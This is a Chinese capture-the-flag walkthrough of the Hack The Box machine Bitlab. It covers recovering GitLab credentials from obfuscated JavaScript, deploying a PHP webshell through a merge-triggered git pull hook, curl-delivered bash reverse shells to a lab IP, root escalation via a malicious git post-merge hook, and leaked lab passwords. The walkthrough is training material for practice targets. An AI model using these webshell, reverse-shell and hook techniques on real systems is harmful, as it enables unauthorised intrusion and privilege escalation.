前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【HTB系列】靶机Bitlab的渗透测试

【HTB系列】靶机Bitlab的渗透测试

作者头像
Ms08067安全实验室
发布2020-02-19 17:18:58
4910
发布2020-02-19 17:18:58
举报
文章被收录于专栏:Ms08067安全实验室

0x00 本文目录

  • 反思与总结
  • 基本信息
  • 渗透测试过程
  • 补充

0x01 反思与总结

1. curl 发送GET参数化请求 2. 对反弹回来的shell进行设置完善 3. 使用git hooks来进行提权

0x02 基本信息

靶机IP地址:10.10.10.114 Kali IP地址:10.10.14.13

0x03 渗透测试过程

端口探测

代码语言:javascript
复制
root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114
Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST
Nmap scan report for 10.10.10.114
Host is up (0.24s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh‐hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http‐robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http‐title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.114/users/sign_in
|_http‐trane‐info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds

目标靶机开放了80 和 22端口

目录探测

我们先从80下手,查看下网页内容

先使用gobuster进行扫描

代码语言:javascript
复制
gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐
2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster

参数介绍:

dir: 表示扫描目录的模式 -w: 使用的字典 -t: 线程数量 -s: 只显示响应码为200,204,301,307,401,403的路径,因为我们访问网页的时候有些位置是不允许我们访问会被302跳转到登录界面

对出现的结果逐一查看,发现除了help外其他的网页都没什么可用信息

漏洞发现

打开help下的bookmarks.html

对这几个超链接逐一查看,发现前面4个连接都只是分别指向hackthebox,Docker,PHP,Node.js的官网并没有什么信息

点击 【Gitlab Login】 时,发现没反应,但是出现了javascript代码。

我们打开源码进行查看

把javascript代码复制出来放到https://beautifier.io/进行美化并把里面的HTML实体去除,得到下面的结果

代码语言:javascript
复制
javascript: (function() {
    var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E",
"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65",
"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64",
"\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()

把_0x4b18里面的内容翻译下(十六进制转字符)

代码语言:javascript
复制
var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password",
"11des0081x"];

那么下面2行代码

代码语言:javascript
复制
document[getElementById](user_login)[value] = clave;
document[getElementById](user_password)[value] = 11des0081x;

感觉是账号密码的感觉,我们在登录界面使用console进行尝试

账号密码直接出现并成功登录

登录后有2个库

在deployer中发现index.php,像是一个挂钩文件,当Profile存储库合并了一个新的提交时就会执行命令 切换到 profile目录 , 并且执行sudo git pull

代码语言:javascript
复制
<?php
$input = file_get_contents("php://input");
$payload  = json_decode($input);
$repo = $payload‐>project‐>name ?? '';
$event = $payload‐>event_type ?? '';
$state = $payload‐>object_attributes‐>state ?? '';
$branch = $payload‐>object_attributes‐>target_branch ?? '';
if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged')
{
    echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}
echo "OK\n";

那么我们只要写入一个webshell并合并到profile库中,那么这个index.php就会把我们的webshell给pull下来

我们创建一个分支

切换到这个分支,然后在这个分支上创建一个webshell

写入一个webshell,并提交

代码语言:javascript
复制
<?php
if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}
?>

创建合并请求

然后就可以看到我们的webshell就成功合并如mstaer库

此时应该会被之前的挂钩文件pull到本地,我们尝试访问看看

代码语言:javascript
复制
http://10.10.10.114/profile/dfz.php?cmd=whoami

也可以通过curl来进行命令执行

代码语言:javascript
复制
curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode 'cmd=whoami'

-G:表示发送GET请求 --data--urlencode:对数据进行URL编码

这样我们就拿到了webshell

反弹shell

接下来就是反弹shell

kali先nc先监听端口

然后用curl反弹,这里需要注意的是,反弹shell的指令前面还需要用到bash -c

代码语言:javascript
复制
curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode "cmd=bash ‐c 'bash ‐i >&
/dev/tcp/10.10.14.13/9001 0>&1'"

反弹回来的shell,会出现字符错误,无法编辑vim等问题

输入下面的指令对反弹回来的shell进行设置,让后面我们可以正常使用

代码语言:javascript
复制
python ‐c "import pty;pty.spawn('/bin/bash')"
ctrl + z (后台挂起shell)
stty raw ‐echo
fg + 多个回车   
stty rows 34 cols 136
export TERM=xterm

这样我们反弹回来的shell就可以像我们平常用的那个shell一样了

权限提升

进入之后我们看下sudo -l 有没有能突破的点

这里我们可以看到 www-data用户可以不需要密码

以root的权限调用git pull 命令

这里我们可以用git的hook文件来进行提权

在.git/hooks文件中有一些模板,我们可以对照进行编写

因为sudo运行www-data用户运行git pull文件

那么我们找下运行这个命令的时候会触发哪个hook文件

可以通过下面命令查看

代码语言:javascript
复制
man githooks

可以看到在执行git pull时,会触发post-merge这个文件

但是在hook文件里面没有这个文件,我需要手动创建

但是这个文件夹我们没有写的权限

那么我们把这个文件给重新拷贝一份出来

然后在 /tmp/dfz/profile/.git/hooks/中创建一个 post-merge文件 ,并赋予执行权限

代码语言:javascript
复制
#!/bin/bash
bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'

那么我们接下来做的就是要触发git pull,在这之前我们需要在仓库里面添加一个新的文件,这样git pull才能有效果,否则就有如下的提示

我们可以直接添加一个文件并合并

kali进行监听,然后再进行sudo git pull

然后就得到root权限

0x04 补充

还有另一种方法get flag

我们在进入到profile仓库后可以看到一个TODO

然后我们在

代码语言:javascript
复制
http://10.10.10.114/users/clave/snippets

里面找到postgresql的代码片段

可以看到这段代码在查询数据,我们可以看下它查询的是什么数据

代码语言:javascript
复制
<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles
password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
var_dump(pg_fetch_all($result));
?>
array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    string(1) "1"
    ["username"]=>
    string(5) "clave"
    ["password"]=>
    string(22) "c3NoLXN0cjBuZy1wQHNz=="
  }
}

我们尝试登录到clave

成功!

同时我们在clave的家目录下看到一个exe

我们通过scp下载回来

代码语言:javascript
复制
scp clave@10.10.10.114:RemoteConnection.exe .

使用OD进行调试也可以看到root的账号密码

代码语言:javascript
复制
Qf7]8YSV.wDNF*[7d?j&eD4^
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-02-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 本文目录
  • 0x01 反思与总结
  • 0x02 基本信息
  • 0x03 渗透测试过程
    • 端口探测
      • 目录探测
        • 漏洞发现
          • 反弹shell
            • 权限提升
            • 0x04 补充
            相关产品与服务
            命令行工具
            腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档